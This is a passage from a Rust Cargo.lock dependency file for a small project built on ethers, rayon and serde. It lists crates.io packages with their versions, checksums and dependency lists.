"c4a1e36c821dbe04574f602848a19f742f4fb3c98d40449f11bcad18d6b17421" 1165 | 1166 | [[package]] 1167 | name = "hyper" 1168 | version = "0.14.20" 1169 | source = "registry+https://github.com/rust-lang/crates.io-index" 1170 | checksum = "02c929dc5c39e335a03c405292728118860721b10190d98c2a0f0efd5baafbac" 1171 | dependencies = [ 1172 | "bytes", 1173 | "futures-channel", 1174 | "futures-core", 1175 | "futures-util", 1176 | "h2", 1177 | "http", 1178 | "http-body", 1179 | "httparse", 1180 | "httpdate", 1181 | "itoa", 1182 | "pin-project-lite", 1183 | "socket2", 1184 | "tokio", 1185 | "tower-service", 1186 | "tracing", 1187 | "want", 1188 | ] 1189 | 1190 | [[package]] 1191 | name = "hyper-rustls" 1192 | version = "0.23.0" 1193 | source = "registry+https://github.com/rust-lang/crates.io-index" 1194 | checksum = "d87c48c02e0dc5e3b849a2041db3029fd066650f8f717c07bf8ed78ccb895cac" 1195 | dependencies = [ 1196 | "http", 1197 | "hyper", 1198 | "rustls", 1199 | "tokio", 1200 | "tokio-rustls", 1201 | ] 1202 | 1203 | [[package]] 1204 | name = "idna" 1205 | version = "0.2.3" 1206 | source = "registry+https://github.com/rust-lang/crates.io-index" 1207 | checksum = "418a0a6fab821475f634efe3ccc45c013f742efe03d853e8d3355d5cb850ecf8" 1208 | dependencies = [ 1209 | "matches", 1210 | "unicode-bidi", 1211 | "unicode-normalization", 1212 | ] 1213 | 1214 | [[package]] 1215 | name = "impl-codec" 1216 | version = "0.6.0" 1217 | source = "registry+https://github.com/rust-lang/crates.io-index" 1218 | checksum = "ba6a270039626615617f3f36d15fc827041df3b78c439da2cadfa47455a77f2f" 1219 | dependencies = [ 1220 | "parity-scale-codec", 1221 | ] 1222 | 1223 | [[package]] 1224 | name = "impl-rlp" 1225 | version = "0.3.0" 1226 | source = "registry+https://github.com/rust-lang/crates.io-index" 1227 | checksum = "f28220f89297a075ddc7245cd538076ee98b01f2a9c23a53a4f1105d5a322808" 1228 | dependencies = [ 1229 | "rlp", 1230 | ] 1231 | 1232 | [[package]] 1233 | name = "impl-serde" 1234 | version = "0.3.2" 1235 | source = "registry+https://github.com/rust-lang/crates.io-index" 1236 | checksum = "4551f042f3438e64dbd6226b20527fc84a6e1fe65688b58746a2f53623f25f5c" 1237 | dependencies = [ 1238 | "serde", 1239 | ] 1240 | 1241 | [[package]] 1242 | name = "impl-trait-for-tuples" 1243 | version = "0.2.2" 1244 | source = "registry+https://github.com/rust-lang/crates.io-index" 1245 | checksum = "11d7a9f6330b71fea57921c9b61c47ee6e84f72d394754eff6163ae67e7395eb" 1246 | dependencies = [ 1247 | "proc-macro2", 1248 | "quote", 1249 | "syn", 1250 | ] 1251 | 1252 | [[package]] 1253 | name = "indenter" 1254 | version = "0.3.3" 1255 | source = "registry+https://github.com/rust-lang/crates.io-index" 1256 | checksum = "ce23b50ad8242c51a442f3ff322d56b02f08852c77e4c0b4d3fd684abc89c683" 1257 | 1258 | [[package]] 1259 | name = "indexmap" 1260 | version = "1.9.1" 1261 | source = "registry+https://github.com/rust-lang/crates.io-index" 1262 | checksum = "10a35a97730320ffe8e2d410b5d3b69279b98d2c14bdb8b70ea89ecf7888d41e" 1263 | dependencies = [ 1264 | "autocfg", 1265 | "hashbrown", 1266 | ] 1267 | 1268 | [[package]] 1269 | name = "instant" 1270 | version = "0.1.12" 1271 | source = "registry+https://github.com/rust-lang/crates.io-index" 1272 | checksum = "7a5bbe824c507c5da5956355e86a746d82e0e1464f65d862cc5e71da70e94b2c" 1273 | dependencies = [ 1274 | "cfg-if", 1275 | "js-sys", 1276 | "wasm-bindgen", 1277 | "web-sys", 1278 | ] 1279 | 1280 | [[package]] 1281 | name = "ipnet" 1282 | version = "2.5.0" 1283 | source = "registry+https://github.com/rust-lang/crates.io-index" 1284 | checksum = "879d54834c8c76457ef4293a689b2a8c59b076067ad77b15efafbb05f92a592b" 1285 | 1286 | [[package]] 1287 | name = "itoa" 1288 | version = "1.0.3" 1289 | source = "registry+https://github.com/rust-lang/crates.io-index" 1290 | checksum = "6c8af84674fe1f223a982c933a0ee1086ac4d4052aa0fb8060c12c6ad838e754" 1291 | 1292 | [[package]] 1293 | name = "js-sys" 1294 | version = "0.3.59" 1295 | source = "registry+https://github.com/rust-lang/crates.io-index" 1296 | checksum = "258451ab10b34f8af53416d1fdab72c22e805f0c92a1136d59470ec0b11138b2" 1297 | dependencies = [ 1298 | "wasm-bindgen", 1299 | ] 1300 | 1301 | [[package]] 1302 | name = "k256" 1303 | version = "0.11.4" 1304 | source = "registry+https://github.com/rust-lang/crates.io-index" 1305 | checksum = "6db2573d3fd3e4cc741affc9b5ce1a8ce36cf29f09f80f36da4309d0ae6d7854" 1306 | dependencies = [ 1307 | "cfg-if", 1308 | "ecdsa", 1309 | "elliptic-curve", 1310 | "sha2 0.10.2", 1311 | "sha3", 1312 | ] 1313 | 1314 | [[package]] 1315 | name = "keccak" 1316 | version = "0.1.2" 1317 | source = "registry+https://github.com/rust-lang/crates.io-index" 1318 | checksum = "f9b7d56ba4a8344d6be9729995e6b06f928af29998cdf79fe390cbf6b1fee838" 1319 | 1320 | [[package]] 1321 | name = "lazy_static" 1322 | version = "1.4.0" 1323 | source = "registry+https://github.com/rust-lang/crates.io-index" 1324 | checksum = "e2abad23fbc42b3700f2f279844dc832adb2b2eb069b2df918f455c4e18cc646" 1325 | 1326 | [[package]] 1327 | name = "libc" 1328 | version = "0.2.132" 1329 | source = "registry+https://github.com/rust-lang/crates.io-index" 1330 | checksum = "8371e4e5341c3a96db127eb2465ac681ced4c433e01dd0e938adbef26ba93ba5" 1331 | 1332 | [[package]] 1333 | name = "lock_api" 1334 | version = "0.4.7" 1335 | source = "registry+https://github.com/rust-lang/crates.io-index" 1336 | checksum = "327fa5b6a6940e4699ec49a9beae1ea4845c6bab9314e4f84ac68742139d8c53" 1337 | dependencies = [ 1338 | "autocfg", 1339 | "scopeguard", 1340 | ] 1341 | 1342 | [[package]] 1343 | name = "log" 1344 | version = "0.4.17" 1345 | source = "registry+https://github.com/rust-lang/crates.io-index" 1346 | checksum = "abb12e687cfb44aa40f41fc3978ef76448f9b6038cad6aef4259d3c095a2382e" 1347 | dependencies = [ 1348 | "cfg-if", 1349 | ] 1350 | 1351 | [[package]] 1352 | name = "matches" 1353 | version = "0.1.9" 1354 | source = "registry+https://github.com/rust-lang/crates.io-index" 1355 | checksum = "a3e378b66a060d48947b590737b30a1be76706c8dd7b8ba0f2fe3989c68a853f" 1356 | 1357 | [[package]] 1358 | name = "memchr" 1359 | version = "2.5.0" 1360 | source = "registry+https://github.com/rust-lang/crates.io-index" 1361 | checksum = "2dffe52ecf27772e601905b7522cb4ef790d2cc203488bbd0e2fe85fcb74566d" 1362 | 1363 | [[package]] 1364 | name = "memoffset" 1365 | version = "0.6.5" 1366 | source = "registry+https://github.com/rust-lang/crates.io-index" 1367 | checksum = "5aa361d4faea93603064a027415f07bd8e1d5c88c9fbf68bf56a285428fd79ce" 1368 | dependencies = [ 1369 | "autocfg", 1370 | ] 1371 | 1372 | [[package]] 1373 | name = "mime" 1374 | version = "0.3.16" 1375 | source = "registry+https://github.com/rust-lang/crates.io-index" 1376 | checksum = "2a60c7ce501c71e03a9c9c0d35b861413ae925bd979cc7a4e30d060069aaac8d" 1377 | 1378 | [[package]] 1379 | name = "mio" 1380 | version = "0.8.4" 1381 | source = "registry+https://github.com/rust-lang/crates.io-index" 1382 | checksum = "57ee1c23c7c63b0c9250c339ffdc69255f110b298b901b9f6c82547b7b87caaf" 1383 | dependencies = [ 1384 | "libc", 1385 | "log", 1386 | "wasi", 1387 | "windows-sys", 1388 | ] 1389 | 1390 | [[package]] 1391 | name = "num-integer" 1392 | version = "0.1.45" 1393 | source = "registry+https://github.com/rust-lang/crates.io-index" 1394 | checksum = "225d3389fb3509a24c93f5c29eb6bde2586b98d9f016636dff58d7c6f7569cd9" 1395 | dependencies = [ 1396 | "autocfg", 1397 | "num-traits", 1398 | ] 1399 | 1400 | [[package]] 1401 | name = "num-traits" 1402 | version = "0.2.15" 1403 | source = "registry+https://github.com/rust-lang/crates.io-index" 1404 | checksum = "578ede34cf02f8924ab9447f50c28075b4d3e5b269972345e7e0372b38c6cdcd" 1405 | dependencies = [ 1406 | "autocfg", 1407 | ] 1408 | 1409 | [[package]] 1410 | name = "num_cpus" 1411 | version = "1.13.1" 1412 | source = "registry+https://github.com/rust-lang/crates.io-index" 1413 | checksum = "19e64526ebdee182341572e50e9ad03965aa510cd94427a4549448f285e957a1" 1414 | dependencies = [ 1415 | "hermit-abi", 1416 | "libc", 1417 | ] 1418 | 1419 | [[package]] 1420 | name = "once_cell" 1421 | version = "1.13.1" 1422 | source = "registry+https://github.com/rust-lang/crates.io-index" 1423 | checksum = "074864da206b4973b84eb91683020dbefd6a8c3f0f38e054d93954e891935e4e" 1424 | 1425 | [[package]] 1426 | name = "opaque-debug" 1427 | version = "0.2.3" 1428 | source = "registry+https://github.com/rust-lang/crates.io-index" 1429 | checksum = "2839e79665f131bdb5782e51f2c6c9599c133c6098982a54c794358bf432529c" 1430 | 1431 | [[package]] 1432 | name = "opaque-debug" 1433 | version = "0.3.0" 1434 | source = "registry+https://github.com/rust-lang/crates.io-index" 1435 | checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" 1436 | 1437 | [[package]] 1438 | name = "parity-scale-codec" 1439 | version = "3.1.5" 1440 | source = "registry+https://github.com/rust-lang/crates.io-index" 1441 | checksum = "9182e4a71cae089267ab03e67c99368db7cd877baf50f931e5d6d4b71e195ac0" 1442 | dependencies = [ 1443 | "arrayvec", 1444 | "bitvec 1.0.1", 1445 | "byte-slice-cast", 1446 | "impl-trait-for-tuples", 1447 | "parity-scale-codec-derive", 1448 | "serde", 1449 | ] 1450 | 1451 | [[package]] 1452 | name = "parity-scale-codec-derive" 1453 | version = "3.1.3" 1454 | source = "registry+https://github.com/rust-lang/crates.io-index" 1455 | checksum = "9299338969a3d2f491d65f140b00ddec470858402f888af98e8642fb5e8965cd" 1456 | dependencies = [ 1457 | "proc-macro-crate", 1458 | "proc-macro2", 1459 | "quote", 1460 | "syn", 1461 | ] 1462 | 1463 | [[package]] 1464 | name = "parking_lot" 1465 | version = "0.11.2" 1466 | source = "registry+https://github.com/rust-lang/crates.io-index" 1467 | checksum = "7d17b78036a60663b797adeaee46f5c9dfebb86948d1255007a1d6be0271ff99" 1468 | dependencies = [ 1469 | "instant", 1470 | "lock_api", 1471 | "parking_lot_core", 1472 | ] 1473 | 1474 | [[package]] 1475 | name = "parking_lot_core" 1476 | version = "0.8.5" 1477 | source = "registry+https://github.com/rust-lang/crates.io-index" 1478 | checksum = "d76e8e1493bcac0d2766c42737f34458f1c8c50c0d23bcb24ea953affb273216" 1479 | dependencies = [ 1480 | "cfg-if", 1481 | "instant", 1482 | "libc", 1483 | "redox_syscall", 1484 | "smallvec", 1485 | "winapi", 1486 | ] 1487 | 1488 | [[package]] 1489 | name = "password-hash" 1490 | version = "0.3.2" 1491 | source = "registry+https://github.com/rust-lang/crates.io-index" 1492 | checksum = "1d791538a6dcc1e7cb7fe6f6b58aca40e7f79403c45b2bc274008b5e647af1d8" 1493 | dependencies = [ 1494 | "base64ct", 1495 | "rand_core", 1496 | "subtle", 1497 | ] 1498 | 1499 | [[package]] 1500 | name = "password-hash" 1501 | version = "0.4.2" 1502 | source = "registry+https://github.com/rust-lang/crates.io-index" 1503 | checksum = "7676374caaee8a325c9e7a2ae557f216c5563a171d6997b0ef8a65af35147700" 1504 | dependencies = [ 1505 | "base64ct", 1506 | "rand_core", 1507 | "subtle", 1508 | ] 1509 | 1510 | [[package]] 1511 | name = "pbkdf2" 1512 | version = "0.10.1" 1513 | source = "registry+https://github.com/rust-lang/crates.io-index" 1514 | checksum = "271779f35b581956db91a3e55737327a03aa051e90b1c47aeb189508533adfd7" 1515 | dependencies = [ 1516 | "digest 0.10.3", 1517 | ] 1518 | 1519 | [[package]] 1520 | name = "pbkdf2" 1521 | version = "0.11.0" 1522 | source = "registry+https://github.com/rust-lang/crates.io-index" 1523 | checksum = "83a0692ec44e4cf1ef28ca317f14f8f07da2d95ec3fa01f86e4467b725e60917" 1524 | dependencies = [ 1525 | "digest 0.10.3", 1526 | "hmac", 1527 | "password-hash 0.4.2", 1528 | "sha2 0.10.2", 1529 | ] 1530 | 1531 | [[package]] 1532 | name = "percent-encoding" 1533 | version = "2.1.0" 1534 | source = "registry+https://github.com/rust-lang/crates.io-index" 1535 | checksum = "d4fd5641d01c8f18a23da7b6fe29298ff4b55afcccdf78973b24cf3175fee32e" 1536 | 1537 | [[package]] 1538 | name = "pharos" 1539 | version = "0.5.3" 1540 | source = "registry+https://github.com/rust-lang/crates.io-index" 1541 | checksum = "e9567389417feee6ce15dd6527a8a1ecac205ef62c2932bcf3d9f6fc5b78b414" 1542 | dependencies = [ 1543 | "futures", 1544 | "rustc_version", 1545 | ] 1546 | 1547 | [[package]] 1548 | name = "pin-project" 1549 | version = "1.0.12" 1550 | source = "registry+https://github.com/rust-lang/crates.io-index" 1551 | checksum = "ad29a609b6bcd67fee905812e544992d216af9d755757c05ed2d0e15a74c6ecc" 1552 | dependencies = [ 1553 | "pin-project-internal", 1554 | ] 1555 | 1556 | [[package]] 1557 | name = "pin-project-internal" 1558 | version = "1.0.12" 1559 | source = "registry+https://github.com/rust-lang/crates.io-index" 1560 | checksum = "069bdb1e05adc7a8990dce9cc75370895fbe4e3d58b9b73bf1aee56359344a55" 1561 | dependencies = [ 1562 | "proc-macro2", 1563 | "quote", 1564 | "syn", 1565 | ] 1566 | 1567 | [[package]] 1568 | name = "pin-project-lite" 1569 | version = "0.2.9" 1570 | source = "registry+https://github.com/rust-lang/crates.io-index" 1571 | checksum = "e0a7ae3ac2f1173085d398531c705756c94a4c56843785df85a60c1a0afac116" 1572 | 1573 | [[package]] 1574 | name = "pin-utils" 1575 | version = "0.1.0" 1576 | source = "registry+https://github.com/rust-lang/crates.io-index" 1577 | checksum = "8b870d8c151b6f2fb93e84a13146138f05d02ed11c7e7c54f8826aaaf7c9f184" 1578 | 1579 | [[package]] 1580 | name = "pkcs8" 1581 | version = "0.9.0" 1582 | source = "registry+https://github.com/rust-lang/crates.io-index" 1583 | checksum = "9eca2c590a5f85da82668fa685c09ce2888b9430e83299debf1f34b65fd4a4ba" 1584 | dependencies = [ 1585 | "der", 1586 | "spki", 1587 | ] 1588 | 1589 | [[package]] 1590 | name = "ppv-lite86" 1591 | version = "0.2.16" 1592 | source = "registry+https://github.com/rust-lang/crates.io-index" 1593 | checksum = "eb9f9e6e233e5c4a35559a617bf40a4ec447db2e84c20b55a6f83167b7e57872" 1594 | 1595 | [[package]] 1596 | name = "primitive-types" 1597 | version = "0.11.1" 1598 | source = "registry+https://github.com/rust-lang/crates.io-index" 1599 | checksum = "e28720988bff275df1f51b171e1b2a18c30d194c4d2b61defdacecd625a5d94a" 1600 | dependencies = [ 1601 | "fixed-hash", 1602 | "impl-codec", 1603 | "impl-rlp", 1604 | "impl-serde", 1605 | "uint", 1606 | ] 1607 | 1608 | [[package]] 1609 | name = "proc-macro-crate" 1610 | version = "1.2.1" 1611 | source = "registry+https://github.com/rust-lang/crates.io-index" 1612 | checksum = "eda0fc3b0fb7c975631757e14d9049da17374063edb6ebbcbc54d880d4fe94e9" 1613 | dependencies = [ 1614 | "once_cell", 1615 | "thiserror", 1616 | "toml", 1617 | ] 1618 | 1619 | [[package]] 1620 | name = "proc-macro-error" 1621 | version = "1.0.4" 1622 | source = "registry+https://github.com/rust-lang/crates.io-index" 1623 | checksum = "da25490ff9892aab3fcf7c36f08cfb902dd3e71ca0f9f9517bea02a73a5ce38c" 1624 | dependencies = [ 1625 | "proc-macro-error-attr", 1626 | "proc-macro2", 1627 | "quote", 1628 | "syn", 1629 | "version_check", 1630 | ] 1631 | 1632 | [[package]] 1633 | name = "proc-macro-error-attr" 1634 | version = "1.0.4" 1635 | source = "registry+https://github.com/rust-lang/crates.io-index" 1636 | checksum = "a1be40180e52ecc98ad80b184934baf3d0d29f979574e439af5a55274b35f869" 1637 | dependencies = [ 1638 | "proc-macro2", 1639 | "quote", 1640 | "version_check", 1641 | ] 1642 | 1643 | [[package]] 1644 | name = "proc-macro2" 1645 | version = "1.0.43" 1646 | source = "registry+https://github.com/rust-lang/crates.io-index" 1647 | checksum = "0a2ca2c61bc9f3d74d2886294ab7b9853abd9c1ad903a3ac7815c58989bb7bab" 1648 | dependencies = [ 1649 | "unicode-ident", 1650 | ] 1651 | 1652 | [[package]] 1653 | name = "quote" 1654 | version = "1.0.21" 1655 | source = "registry+https://github.com/rust-lang/crates.io-index" 1656 | checksum = "bbe448f377a7d6961e30f5955f9b8d106c3f5e449d493ee1b125c1d43c2b5179" 1657 | dependencies = [ 1658 | "proc-macro2", 1659 | ] 1660 | 1661 | [[package]] 1662 | name = "radium" 1663 | version = "0.3.0" 1664 | source = "registry+https://github.com/rust-lang/crates.io-index" 1665 | checksum = "def50a86306165861203e7f84ecffbbdfdea79f0e51039b33de1e952358c47ac" 1666 | 1667 | [[package]] 1668 | name = "radium" 1669 | version = "0.7.0" 1670 | source = "registry+https://github.com/rust-lang/crates.io-index" 1671 | checksum = "dc33ff2d4973d518d823d61aa239014831e521c75da58e3df4840d3f47749d09" 1672 | 1673 | [[package]] 1674 | name = "rand" 1675 | version = "0.8.5" 1676 | source = "registry+https://github.com/rust-lang/crates.io-index" 1677 | checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" 1678 | dependencies = [ 1679 | "libc", 1680 | "rand_chacha", 1681 | "rand_core", 1682 | ] 1683 | 1684 | [[package]] 1685 | name = "rand_chacha" 1686 | version = "0.3.1" 1687 | source = "registry+https://github.com/rust-lang/crates.io-index" 1688 | checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" 1689 | dependencies = [ 1690 | "ppv-lite86", 1691 | "rand_core", 1692 | ] 1693 | 1694 | [[package]] 1695 | name = "rand_core" 1696 | version = "0.6.3" 1697 | source = "registry+https://github.com/rust-lang/crates.io-index" 1698 | checksum = "d34f1408f55294453790c48b2f1ebbb1c5b4b7563eb1f418bcfcfdbb06ebb4e7" 1699 | dependencies = [ 1700 | "getrandom", 1701 | ] 1702 | 1703 | [[package]] 1704 | name = "rayon" 1705 | version = "1.5.3" 1706 | source = "registry+https://github.com/rust-lang/crates.io-index" 1707 | checksum = "bd99e5772ead8baa5215278c9b15bf92087709e9c1b2d1f97cdb5a183c933a7d" 1708 | dependencies = [ 1709 | "autocfg", 1710 | "crossbeam-deque", 1711 | "either", 1712 | "rayon-core", 1713 | ] 1714 | 1715 | [[package]] 1716 | name = "rayon-core" 1717 | version = "1.9.3" 1718 | source = "registry+https://github.com/rust-lang/crates.io-index" 1719 | checksum = "258bcdb5ac6dad48491bb2992db6b7cf74878b0384908af124823d118c99683f" 1720 | dependencies = [ 1721 | "crossbeam-channel", 1722 | "crossbeam-deque", 1723 | "crossbeam-utils", 1724 | "num_cpus", 1725 | ] 1726 | 1727 | [[package]] 1728 | name = "redox_syscall" 1729 | version = "0.2.16" 1730 | source = "registry+https://github.com/rust-lang/crates.io-index" 1731 | checksum = "fb5a58c1855b4b6819d59012155603f0b22ad30cad752600aadfcb695265519a" 1732 | dependencies = [ 1733 | "bitflags", 1734 | ] 1735 | 1736 | [[package]] 1737 | name = "regex" 1738 | version = "1.6.0" 1739 | source = "registry+https://github.com/rust-lang/crates.io-index" 1740 | checksum = "4c4eb3267174b8c6c2f654116623910a0fef09c4753f8dd83db29c48a0df988b" 1741 | dependencies = [ 1742 | "aho-corasick", 1743 | "memchr", 1744 | "regex-syntax", 1745 | ] 1746 | 1747 | [[package]] 1748 | name = "regex-syntax" 1749 | version = "0.6.27" 1750 | source = "registry+https://github.com/rust-lang/crates.io-index" 1751 | checksum = "a3f87b73ce11b1619a3c6332f45341e0047173771e8b8b73f87bfeefb7b56244" 1752 | 1753 | [[package]] 1754 | name = "reqwest" 1755 | version = "0.11.11" 1756 | source = "registry+https://github.com/rust-lang/crates.io-index" 1757 | checksum = "b75aa69a3f06bbcc66ede33af2af253c6f7a86b1ca0033f60c580a27074fbf92" 1758 | dependencies = [ 1759 | "base64 0.13.0", 1760 | "bytes", 1761 | "encoding_rs", 1762 | "futures-core", 1763 | "futures-util", 1764 | "h2", 1765 | "http", 1766 | "http-body", 1767 | "hyper", 1768 | "hyper-rustls", 1769 | "ipnet", 1770 | "js-sys", 1771 | "lazy_static", 1772 | "log", 1773 | "mime", 1774 | "percent-encoding", 1775 | "pin-project-lite", 1776 | "rustls", 1777 | "rustls-pemfile", 1778 | "serde", 1779 | "serde_json", 1780 | "serde_urlencoded", 1781 | "tokio", 1782 | "tokio-rustls", 1783 | "tower-service", 1784 | "url", 1785 | "wasm-bindgen", 1786 | "wasm-bindgen-futures", 1787 | "web-sys", 1788 | "webpki-roots", 1789 | "winreg", 1790 | ] 1791 | 1792 | [[package]] 1793 | name = "rfc6979" 1794 | version = "0.3.0" 1795 | source = "registry+https://github.com/rust-lang/crates.io-index" 1796 | checksum = "88c86280f057430a52f4861551b092a01b419b8eacefc7c995eacb9dc132fe32" 1797 | dependencies = [ 1798 | "crypto-bigint", 1799 | "hmac", 1800 | "zeroize", 1801 | ] 1802 | 1803 | [[package]] 1804 | name = "ring" 1805 | version = "0.16.20" 1806 | source = "registry+https://github.com/rust-lang/crates.io-index" 1807 | checksum = "3053cf52e236a3ed746dfc745aa9cacf1b791d846bdaf412f60a8d7d6e17c8fc" 1808 | dependencies = [ 1809 | "cc", 1810 | "libc", 1811 | "once_cell", 1812 | "spin", 1813 | "untrusted", 1814 | "web-sys", 1815 | "winapi", 1816 | ] 1817 | 1818 | [[package]] 1819 | name = "ripemd" 1820 | version = "0.1.1" 1821 | source = "registry+https://github.com/rust-lang/crates.io-index" 1822 | checksum = "1facec54cb5e0dc08553501fa740091086d0259ad0067e0d4103448e4cb22ed3" 1823 | dependencies = [ 1824 | "digest 0.10.3", 1825 | ] 1826 | 1827 | [[package]] 1828 | name = "rlp" 1829 | version = "0.5.1" 1830 | source = "registry+https://github.com/rust-lang/crates.io-index" 1831 | checksum = "999508abb0ae792aabed2460c45b89106d97fe4adac593bdaef433c2605847b5" 1832 | dependencies = [ 1833 | "bytes", 1834 | "rustc-hex", 1835 | ] 1836 | 1837 | [[package]] 1838 | name = "rlp-derive" 1839 | version = "0.1.0" 1840 | source = "registry+https://github.com/rust-lang/crates.io-index" 1841 | checksum = "e33d7b2abe0c340d8797fe2907d3f20d3b5ea5908683618bfe80df7f621f672a" 1842 | dependencies = [ 1843 | "proc-macro2", 1844 | "quote", 1845 | "syn", 1846 | ] 1847 | 1848 | [[package]] 1849 | name = "rust" 1850 | version = "0.1.0" 1851 | dependencies = [ 1852 | "ethers", 1853 | "rayon", 1854 | "serde", 1855 | ] 1856 | 1857 | [[package]] 1858 | name = "rust_decimal" 1859 | version = "1.26.1" 1860 | source = "registry+https://github.com/rust-lang/crates.io-index" 1861 | checksum = "ee9164faf726e4f3ece4978b25ca877ddc6802fa77f38cdccb32c7f805ecd70c" 1862 | dependencies = [ 1863 | "arrayvec", 1864 | "num-traits", 1865 | "serde", 1866 | ] 1867 | 1868 | [[package]] 1869 | name = "rustc-hex" 1870 | version = "2.1.0" 1871 | source = "registry+https://github.com/rust-lang/crates.io-index" 1872 | checksum = "3e75f6a532d0fd9f7f13144f392b6ad56a32696bfcd9c78f797f16bbb6f072d6" 1873 | 1874 | [[package]] 1875 | name = "rustc_version" 1876 | version = "0.4.0" 1877 | source = "registry+https://github.com/rust-lang/crates.io-index" 1878 | checksum = "bfa0f585226d2e68097d4f95d113b15b83a82e819ab25717ec0590d9584ef366" 1879 | dependencies = [ 1880 | "semver", 1881 | ] 1882 | 1883 | [[package]] 1884 | name = "rustls" 1885 | version = "0.20.6" 1886 | source = "registry+https://github.com/rust-lang/crates.io-index" 1887 | checksum = "5aab8ee6c7097ed6057f43c187a62418d0c05a4bd5f18b3571db50ee0f9ce033" 1888 | dependencies = [ 1889 | "log", 1890 | "ring", 1891 | "sct", 1892 | "webpki", 1893 | ] 1894 | 1895 | [[package]] 1896 | name = "rustls-pemfile" 1897 | version = "1.0.1" 1898 | source = "registry+https://github.com/rust-lang/crates.io-index" 1899 | checksum = "0864aeff53f8c05aa08d86e5ef839d3dfcf07aeba2db32f12db0ef716e87bd55" 1900 | dependencies = [ 1901 | "base64 0.13.0", 1902 | ] 1903 | 1904 | [[package]] 1905 | name = "rustversion" 1906 | version = "1.0.9" 1907 | source = "registry+https://github.com/rust-lang/crates.io-index" 1908 | checksum = "97477e48b4cf8603ad5f7aaf897467cf42ab4218a38ef76fb14c2d6773a6d6a8" 1909 | 1910 | [[package]] 1911 | name = "ryu" 1912 | version = "1.0.11" 1913 | source = "registry+https://github.com/rust-lang/crates.io-index" 1914 | checksum = "4501abdff3ae82a1c1b477a17252eb69cee9e66eb915c1abaa4f44d873df9f09" 1915 | 1916 | [[package]] 1917 | name = "salsa20" 1918 | version = "0.9.0" 1919 | source = "registry+https://github.com/rust-lang/crates.io-index" 1920 | checksum = "0c0fbb5f676da676c260ba276a8f43a8dc67cf02d1438423aeb1c677a7212686" 1921 | dependencies = [ 1922 | "cipher", 1923 | ] 1924 | 1925 | [[package]] 1926 | name = "same-file" 1927 | version = "1.0.6" 1928 | source = "registry+https://github.com/rust-lang/crates.io-index" 1929 | checksum = "93fc1dc3aaa9bfed95e02e6eadabb4baf7e3078b0bd1b4d7b6b0b68378900502" 1930 | dependencies = [ 1931 | "winapi-util", 1932 | ] 1933 | 1934 | [[package]] 1935 | name = "scopeguard" 1936 | version = "1.1.0" 1937 | source = "registry+https://github.com/rust-lang/crates.io-index" 1938 | checksum = "d29ab0c6d3fc0ee92fe66e2d99f700eab17a8d57d1c1d3b748380fb20baa78cd" 1939 | 1940 | [[package]] 1941 | name = "scrypt" 1942 | version = "0.8.1" 1943 | source = "registry+https://github.com/rust-lang/crates.io-index" 1944 | checksum = "e73d6d7c6311ebdbd9184ad6c4447b2f36337e327bda107d3ba9e3c374f9d325" 1945 | dependencies = [ 1946 | "hmac", 1947 | "password-hash 0.3.2", 1948 | "pbkdf2 0.10.1", 1949 | "salsa20", 1950 | "sha2 0.10.2", 1951 | ] 1952 | 1953 | [[package]] 1954 | name = "sct" 1955 | version = "0.7.0" 1956 | source = "registry+https://github.com/rust-lang/crates.io-index" 1957 | checksum = "d53dcdb7c9f8158937a7981b48accfd39a43af418591a5d008c7b22b5e1b7ca4" 1958 | dependencies = [ 1959 | "ring", 1960 | "untrusted", 1961 | ] 1962 | 1963 | [[package]] 1964 | name = "sec1" 1965 | version = "0.3.0" 1966 | source = "registry+https://github.com/rust-lang/crates.io-index" 1967 | checksum = "3be24c1842290c45df0a7bf069e0c268a747ad05a192f2fd7dcfdbc1cba40928" 1968 | dependencies = [ 1969 | "base16ct", 1970 | "der", 1971 | "generic-array 0.14.6", 1972 | "pkcs8", 1973 | "subtle", 1974 | "zeroize", 1975 | ] 1976 | 1977 | [[package]] 1978 | name = "semver" 1979 | version = "1.0.13" 1980 | source = "registry+https://github.com/rust-lang/crates.io-index" 1981 | checksum = "93f6841e709003d68bb2deee8c343572bf446003ec20a583e76f7b15cebf3711" 1982 | dependencies = [ 1983 | "serde", 1984 | ] 1985 | 1986 | [[package]] 1987 | name = "send_wrapper" 1988 | version = "0.5.0" 1989 | source = "registry+https://github.com/rust-lang/crates.io-index" 1990 | checksum = "930c0acf610d3fdb5e2ab6213019aaa04e227ebe9547b0649ba599b16d788bd7" 1991 | 1992 | [[package]] 1993 | name = "serde" 1994 | version = "1.0.144" 1995 | source = "registry+https://github.com/rust-lang/crates.io-index" 1996 | checksum = "0f747710de3dcd43b88c9168773254e809d8ddbdf9653b84e2554ab219f17860" 1997 | dependencies = [ 1998 | "serde_derive", 1999 | ] 2000 | 2001 | [[package]] 2002 | name = "serde-aux" 2003 | version = "3.1.0" 2004 | source = "registry+https://github.com/rust-lang/crates.io-index" 2005 | checksum = "d0a77223b653fa95f3f9864f3eb25b93e4ed170687eb42d85b6b98af21d5e1de" 2006 | dependencies = [ 2007 | "serde", 2008 | "serde_json", 2009 | ] 2010 | 2011 | [[package]] 2012 | name = "serde_derive" 2013 | version = "1.0.144" 2014 | source = "registry+https://github.com/rust-lang/crates.io-index" 2015 | checksum = "94ed3a816fb1d101812f83e789f888322c34e291f894f19590dc310963e87a00" 2016 | dependencies = [ 2017 | "proc-macro2", 2018 | "quote", 2019 | "syn", 2020 | ] 2021 | 2022 | [[package]] 2023 | name = "serde_json" 2024 | version = "1.0.85" 2025 | source = "registry+https://github.com/rust-lang/crates.io-index" 2026 | checksum = "e55a28e3aaef9d5ce0506d0a14dbba8054ddc7e499ef522dd8b26859ec9d4a44" 2027 | dependencies = [ 2028 | "itoa", 2029 | "ryu", 2030 | "serde", 2031 | ] 2032 | 2033 | [[package]] 2034 | name = "serde_urlencoded" 2035 | version = "0.7.1" 2036 | source = "registry+https://github.com/rust-lang/crates.io-index" 2037 | checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" 2038 | dependencies = [ 2039 | "form_urlencoded", 2040 | "itoa", 2041 | "ryu", 2042 | "serde", 2043 | ] 2044 | 2045 | [[package]] 2046 | name = "sha2" 2047 | version = "0.8.2" 2048 | source = "registry+https://github.com/rust-lang/crates.io-index" 2049 | checksum = "a256f46ea78a0c0d9ff00077504903ac881a1dafdc20da66545699e7776b3e69" 2050 | dependencies = [ 2051 | "block-buffer 0.7.3", 2052 | "digest 0.8.1", 